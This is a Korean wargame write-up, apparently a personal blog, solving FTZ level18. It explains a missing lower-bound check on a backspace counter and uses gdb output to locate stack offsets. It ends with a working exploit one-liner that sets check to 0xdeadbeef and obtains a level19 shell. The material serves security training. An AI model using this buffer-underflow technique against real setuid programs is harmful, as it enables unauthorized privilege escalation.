FTZ level18

c0wb3ll ㅣ 2020. 3. 12. 02:53

FTZ level18

문제

[level18@ftz level18]$ cat hint

#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
  char string[100];
  int check;
  int x = 0;
  int count = 0;
  fd_set fds;
  printf("Enter your command: ");
  fflush(stdout);
  while(1)
    {
      if(count >= 100)
        printf("what are you trying to do?\n");
      if(check == 0xdeadbeef)
        shellout();
      else
        {
          FD_ZERO(&fds);
          FD_SET(STDIN_FILENO,&fds);

          if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
            {
              if(FD_ISSET(fileno(stdin),&fds))
                {
                  read(fileno(stdin),&x,1);
                  switch(x)
                    {
                      case '\r':
                      case '\n':
                        printf("\a");
                        break;
                      case 0x08:
                        count--;
                        printf("\b \b");
                        break;
                      default:
                        string[count] = x;
                        count++;
                        break;
                    }
                }
            }
        }
    }
}

void shellout(void)
{
  setreuid(3099,3099);
  execl("/bin/sh","sh",NULL);
}   

[level18@ftz level18]$ 

워우 소스코드가 되게 길어졌다. 동작과정을 살펴보자.

  1. check의 값이 0xdeadbeef이면 shellout()함수를 호출한다.
  2. shellout()함수는 권한을 설정하고 /bin/sh명령어를 실행한다.
  3. 입력으로 "/r","/n"이 입력되면 비프음을 낸다.
  4. 입력으로 0x08이 입력되면 문자 1개를 지운다.
  5. 그 외에는 string버퍼 안에 넣는다.

취약점

/*#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
  char string[100];
  int check;
  int x = 0;
  int count = 0;
  fd_set fds;
  printf("Enter your command: ");
  fflush(stdout);
  while(1)
    {*/
      if(count >= 100)
       // printf("what are you trying to do?\n");
      if(check == 0xdeadbeef)
        shellout();
      /*else
        {
          FD_ZERO(&fds);
          FD_SET(STDIN_FILENO,&fds);

          if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
            {
              if(FD_ISSET(fileno(stdin),&fds))
                {
                  read(fileno(stdin),&x,1);
                  switch(x)
                    {
                      case '\r':
                      case '\n':
                        printf("\a");
                        break;*/
                      case 0x08:
                        count--;
                       /* printf("\b \b");
                        break;
                      default:
                        string[count] = x;
                        count++;
                        break;
                    }
                }
            }
        }
    }
}
 */
void shellout(void)
{
  setreuid(3099,3099);
  execl("/bin/sh","sh",NULL);
}
  1. 1글자씩 입력한 문자를 버퍼에 넣고 100글자가 넘으면 더 이상 버퍼에 넣지 않고 뭐하냐는 문구를 출력한다.
  2. 그러나 0x08이 입력되었을 경우 count는 --로 1씩 감소하고 문자를 하나 지우는데 이 경우 count가 -로 가는 경우에는 검증하는 과정이 존재하지 않는다.

풀이

-로 가는 과정에서는 검증하지 않기 때문에 string 버퍼 앞에 메모리에 접근할 수 있게되었다.

(gdb) disas main
Dump of assembler code for function main:
0x08048550 <main+0>:    push   ebp
0x08048551 <main+1>:    mov    ebp,esp
0x08048553 <main+3>:    sub    esp,0x100
0x08048559 <main+9>:    push   edi
0x0804855a <main+10>:    push   esi
0x0804855b <main+11>:    push   ebx
0x0804855c <main+12>:    mov    DWORD PTR [ebp-108],0x0
0x08048563 <main+19>:    mov    DWORD PTR [ebp-112],0x0
0x0804856a <main+26>:    push   0x8048800
0x0804856f <main+31>:    call   0x8048470 <printf>
0x08048574 <main+36>:    add    esp,0x4
0x08048577 <main+39>:    mov    eax,ds:0x804993c
0x0804857c <main+44>:    mov    DWORD PTR [ebp-252],eax
0x08048582 <main+50>:    mov    ecx,DWORD PTR [ebp-252]
0x08048588 <main+56>:    push   ecx
0x08048589 <main+57>:    call   0x8048430 <fflush>
0x0804858e <main+62>:    add    esp,0x4
0x08048591 <main+65>:    jmp    0x8048598 <main+72>
0x08048593 <main+67>:    jmp    0x8048775 <main+549>
0x08048598 <main+72>:    cmp    DWORD PTR [ebp-112],0x63
0x0804859c <main+76>:    jle    0x80485ab <main+91>
0x0804859e <main+78>:    push   0x8048815
0x080485a3 <main+83>:    call   0x8048470 <printf>
0x080485a8 <main+88>:    add    esp,0x4
0x080485ab <main+91>:    cmp    DWORD PTR [ebp-104],0xdeadbeef
0x080485b2 <main+98>:    jne    0x80485c0 <main+112>
0x080485b4 <main+100>:    call   0x8048780 <shellout>
0x080485b9 <main+105>:    jmp    0x8048770 <main+544>
0x080485be <main+110>:    mov    esi,esi
0x080485c0 <main+112>:    lea    edi,[ebp-240]
0x080485c6 <main+118>:    mov    DWORD PTR [ebp-252],edi
0x080485cc <main+124>:    mov    ecx,0x20
0x080485d1 <main+129>:    mov    edi,DWORD PTR [ebp-252]
0x080485d7 <main+135>:    xor    eax,eax
0x080485d9 <main+137>:    cld    
0x080485da <main+138>:    repz stos es:[edi],eax
0x080485dc <main+140>:    mov    DWORD PTR [ebp-244],ecx
---Type <return> to continue, or q <return> to quit---

여기서 알 수 있는 것은 ebp-104에서 deadbeef와 검증을 진행하는 것으로 보아 ebp-104가 check라는 것을 알 수 있다.

(gdb) x/500x $ebp-500
0xbfffe164:    0x079c2ba4    0x00000000    0x00078b74    0xbfffe210
0xbfffe174:    0x40015a38    0xbfffe218    0x40015a38    0x42007ba4
0xbfffe184:    0x400160b0    0x4200ad34    0x400160b0    0x4206d05b
0xbfffe194:    0x42130a14    0x00000014    0x00000000    0xbfffe1c0
0xbfffe1a4:    0x4206d036    0x4212ee20    0x40017000    0x00000014
0xbfffe1b4:    0xbfffe1f4    0x4000807f    0x4001582c    0x4000807f
0xbfffe1c4:    0x4001582c    0x0000005a    0x40015a38    0xbfffe220
0xbfffe1d4:    0x4000be03    0x40015bd4    0x40016380    0x00000001
0xbfffe1e4:    0x00000000    0x00000001    0x00000000    0xbfffe240
0xbfffe1f4:    0x4206181e    0x4212ee20    0x08049880    0x00000005
0xbfffe204:    0x08049894    0x00000009    0x080482c2    0x4204507d
0xbfffe214:    0x42130a14    0x00000000    0x0000000a    0xbfffe240
0xbfffe224:    0x420d7c8d    0x42130a01    0x00000000    0xbfffe268
0xbfffe234:    0x0804861e    0x00000400    0xbfffe268    0x00000000
0xbfffe244:    0x00000000    0x00000000    0x42130a14    0x40015360
0xbfffe254:    0x080487dc    0x61000001    0xbfffe268    0xbfffe2e8
0xbfffe264:    0x00000000    0x00000001    0x00000000    0x00000000
0xbfffe274:    0x00000000    0x00000000    0x00000000    0x00000000
0xbfffe284:    0x00000000    0x00000000    0x00000000    0x00000000
---Type <return> to continue, or q <return> to quit---
0xbfffe294:    0x00000000    0x00000000    0x00000000    0x00000000
0xbfffe2a4:    0x00000000    0x00000000    0x00000000    0x00000000
0xbfffe2b4:    0x00000000    0x00000000    0x00000000    0x00000000
0xbfffe2c4:    0x00000000    0x00000000    0x00000000    0x00000000
0xbfffe2d4:    0x00000000    0x00000000    0x00000000    0x00000000
0xbfffe2e4:    0x00000000    0x0000000f    0x0000000a    0x4000bcc0
0xbfffe2f4:    0x41414141    0x41414141    0x61614141    0x40616161
0xbfffe304:    0x4001582c    0x08049874    0x0000000e    0x080482f8
0xbfffe314:    0x4210fd3c    0x42130a14    0xbfffe33c    0x4210fdf6
0xbfffe324:    0x08049850    0x08049944    0x00000000    0x00000000
0xbfffe334:    0x4210fdc0    0x08049864    0xbfffe34c    0x0804853b
0xbfffe344:    0x08049850    0x08049864    0xbfffe358    0x080483ea
0xbfffe354:    0x42130a14    0xbfffe378    0x42015574    0x00000001
0xbfffe364:    0xbfffe3a4    0xbfffe3ac    0x4001582c    0x00000001
0xbfffe374:    0x080484a0    0x00000000    0x080484c1    0x08048550
0xbfffe384:    0x00000001    0xbfffe3a4    0x080483c0    0x080487dc
0xbfffe394:    0x4000c660    0xbfffe39c    0x00000000    0x00000001
0xbfffe3a4:    0xbffffc16    0x00000000    0xbffffc31    0xbffffc4f
0xbfffe3b4:    0xbffffc5f    0xbffffc6a    0xbffffc78    0xbffffc9a
---Type <return> to continue, or q <return> to quit---

A를 입력한후 디버깅을 진행했다. 대략 ebp-500 부터 확인을 했는데 0xbfffe2f4부터 AAAA가 들어가 있는 것을 확인할 수 있었다. 이로 string버퍼의 시작은 ebp-100(0xbfffe164 - 0xbfffe2f4 = -400)이라는 것을 알게되었다. 굳이 이런 방법을 사용하지 않고 어셈블리 코드를 보며 확인하여도 된다.

자 그럼 우리가 알고 있는 정보를 조합해보자.

  1. 0x08을 입력하면 count는 --된다.
  2. ebp-104에서 deadbeef와 검증을 진행한다.
  3. ebp-100에서부터 string버퍼가 시작된다.

자 그럼 ebp-100에서부터 시작된 string버퍼를 0x08을 입력하여 count를 -로 만들어 ebp-104에 값을 deadbeef로 맞춰 줄 수 있겠다.

익스코드

[level18@ftz level18]$ (python -c "print '\x08'*4 + '\xef\xbe\xad\xde'";cat) | ./attackme 
Enter your command: id
uid=3099(level19) gid=3098(level18) groups=3098(level18)

성공적으로 level19의 권한을 획득했다.